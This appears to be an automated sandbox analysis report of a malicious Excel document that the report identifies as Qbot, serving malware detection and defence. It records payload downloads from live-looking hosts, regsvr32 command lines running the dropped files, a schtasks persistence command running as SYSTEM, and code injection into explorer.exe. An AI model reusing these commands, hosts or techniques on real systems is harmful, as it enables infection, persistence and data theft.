Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://roaming.edog.
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://settings.outlook.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://staging.cortana.ai
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://store.office.com/addinstemplate
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://tasks.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://webshell.suite.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://wus2.contentsync.
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://www.odwebp.svc.ms
Source: unknown DNS traffic detected: queries for: gillcart.com
Source: global traffic HTTP traffic detected: GET /Cdpmoyhr/key.xml HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gillcart.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /MeOlE9Xxd/key.xml HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: geit.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /9DPZqAfZdq5z/key.xml HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mercanets.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 199.79.63.251:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.251.80.22:443 -> 192.168.2.3:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.222.225.250:443 -> 192.168.2.3:49752 version: TLS 1.2

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Document image extraction number: 0 Screenshot OCR: Enable Editing 0 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless yo
Source: Document image extraction number: 0 Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Document image extraction number: 1 Screenshot OCR: Enable Editing (D PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 1 Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Office process drops PE file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\key[1].gif Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Datop\test1.test
Yara signature match
Source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls, type: SAMPLE Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Detected potential crypto function
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_10015000 9_2_10015000
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_10016EF0 9_2_10016EF0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1001237E 9_2_1001237E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_10011790 9_2_10011790
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_100153BF 9_2_100153BF
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B05000 17_2_00B05000
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B06EF0 17_2_00B06EF0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B053BF 17_2_00B053BF
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B01790 17_2_00B01790
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B0237E 17_2_00B0237E
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000C702 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose, 9_2_1000C702
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000CBB9 memset,GetThreadContext,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary, 9_2_1000CBB9
PE file does not import any functions
Source: test1.test.17.dr Static PE information: No import functions for PE file found
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Document contains embedded VBA macros
Source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls OLE indicator, VBA macros: true
Source: key[1].gif.0.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: test1.test.0.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: test1.test.17.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls Virustotal: Detection: 15%
Source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls ReversingLabs: Detection: 22%
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn xtwplfwnel /tr 'regsvr32.exe -s \'C:\Datop\test1.test\'' /SC ONCE /Z /ST 23:48 /ET 24:00
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn xtwplfwnel /tr 'regsvr32.exe -s \'C:\Datop\test1.test\'' /SC ONCE /Z /ST 23:48 /ET 24:00 Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\{AB7EB1E0-7A7B-49DE-9068-ABA03EDAFB4F} - OProcSessId.dat Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@12/4@3/3
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000D565 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket, 9_2_1000D565
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls OLE indicator, Workbook stream: true
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000ABE5 CreateToolhelp32Snapshot,memset,Process32First,Process32Next,CloseHandle, 9_2_1000ABE5
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_01
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{D7C8E493-027B-48BC-9971-06DCE9DBCF24}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\{F6BD3F44-6AC4-4334-A4C3-8B85DC2E1690}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\{D7C8E493-027B-48BC-9971-06DCE9DBCF24}
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000A55C FindResourceA, 9_2_1000A55C
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Automated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exe Automated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exe Automated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: Binary string: amstream.pdb source: explorer.exe, 00000011.00000003.389173855.0000000004BA1000.00000004.00000001.sdmp
Source: Binary string: c:\Bed\gone\91\Receive\Strai\what.pdb source: explorer.exe, 00000011.00000003.389474880.0000000004BA1000.00000004.00000001.sdmp, key[1].gif.0.dr
Source: Binary string: amstream.pdbGCTL source: explorer.exe, 00000011.00000003.389173855.0000000004BA1000.00000004.00000001.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_10021257 push dword ptr [ecx+04h]; ret 9_2_100212C2
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1002671A push edx; retf 9_2_10026721
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_10025F49 push ebx; retf 9_2_10025F4E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1002414E push cs; retf 9_2_1002415A
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1002415B push edx; retf 9_2_1002415F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_100213F8 push ds; iretd 9_2_10021410
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1006D881 push eax; iretd 9_2_1006D882
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B0D4B6 push FFFFFF8Ah; iretd 17_2_00B0D50E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B0D485 push FFFFFF8Ah; iretd 17_2_00B0D50E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B0A00E push ebx; ret 17_2_00B0A00F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B09D5C push cs; iretd 17_2_00B09E32
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B09E5E push cs; iretd 17_2_00B09E32
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00B0BB21 push esi; iretd 17_2_00B0BB26
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000DFEF LoadLibraryA,GetProcAddress, 9_2_1000DFEF
PE file contains an invalid checksum
Source: key[1].gif.0.dr Static PE information: real checksum: 0x747d8 should be: 0x79f86
Source: test1.test.17.dr Static PE information: real checksum: 0x747d8 should be: 0x807ab
Source: test1.test.0.dr Static PE information: real checksum: 0x747d8 should be: 0x79f86

Persistence and Installation Behavior:

barindex
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\key[1].gif Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Datop\test1.test
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Datop\test1.test Jump to dropped file
Drops PE files
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\key[1].gif Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Datop\test1.test Jump to dropped file

Boot Survival:

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn xtwplfwnel /tr 'regsvr32.exe -s \'C:\Datop\test1.test\'' /SC ONCE /Z /ST 23:48 /ET 24:00

Hooking and other Techniques for Hiding and Protection:

barindex
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 6888 base: DDF380 value: E9 48 69 D1 FF Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 4036 Thread sleep count: 186 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5496 Thread sleep count: 114 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 7036 Thread sleep time: -80000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\key[1].gif Jump to dropped file
Source: C:\Windows\SysWOW64\regsvr32.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000D061 GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,GetLastError,GetLastError,GetSystemMetrics,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetWindowsDirectoryW, 9_2_1000D061
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000AEF6 FindFirstFileW,FindNextFileW, 9_2_1000AEF6
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00AFAEF6 FindFirstFileW,FindNextFileW, 17_2_00AFAEF6

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_10005F63 EntryPoint,OutputDebugStringA,GetModuleHandleA,GetModuleFileNameW,GetLastError,memset,MultiByteToWideChar,GetFileAttributesW,CreateThread,SetLastError, 9_2_10005F63
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000DFEF LoadLibraryA,GetProcAddress, 9_2_1000DFEF
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1006BF06 mov eax, dword ptr fs:[00000030h] 9_2_1006BF06
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1006BAE5 push dword ptr fs:[00000030h] 9_2_1006BAE5
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1006BDDA mov eax, dword ptr fs:[00000030h] 9_2_1006BDDA
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00AF5A54 RtlAddVectoredExceptionHandler, 17_2_00AF5A54

HIPS / PFW / Operating System Protection Evasion:

barindex
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 6888 base: AE0000 value: B8 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 6888 base: 9D42D8 value: 00 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 6888 base: 9D51E8 value: 00 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 6888 base: B20000 value: 9C Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 6888 base: DDF380 value: E9 Jump to behavior
Yara detected hidden Macro 4.0 in Excel
Source: Yara match File source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls, type: SAMPLE
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: explorer.exe, 00000011.00000002.594010034.0000000003790000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000011.00000002.594010034.0000000003790000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000011.00000002.594010034.0000000003790000.00000002.00020000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000011.00000002.594010034.0000000003790000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00AF31B5 CreateNamedPipeA, 17_2_00AF31B5
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_100097ED GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z, 9_2_100097ED
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000D061 GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,GetLastError,GetLastError,GetSystemMetrics,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetWindowsDirectoryW, 9_2_1000D061

Stealing of Sensitive Information:

barindex
Yara detected Qbot
Source: Yara match File source: 9.3.regsvr32.exe.33330bf.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.10000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.explorer.exe.af0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.explorer.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.3.regsvr32.exe.33330bf.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000002.592808629.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.380505097.0000000003320000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected Qbot
Source: Yara match File source: 9.3.regsvr32.exe.33330bf.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.10000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.explorer.exe.af0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.explorer.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.3.regsvr32.exe.33330bf.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000002.592808629.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.380505097.0000000003320000.00000040.00000001.sdmp, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs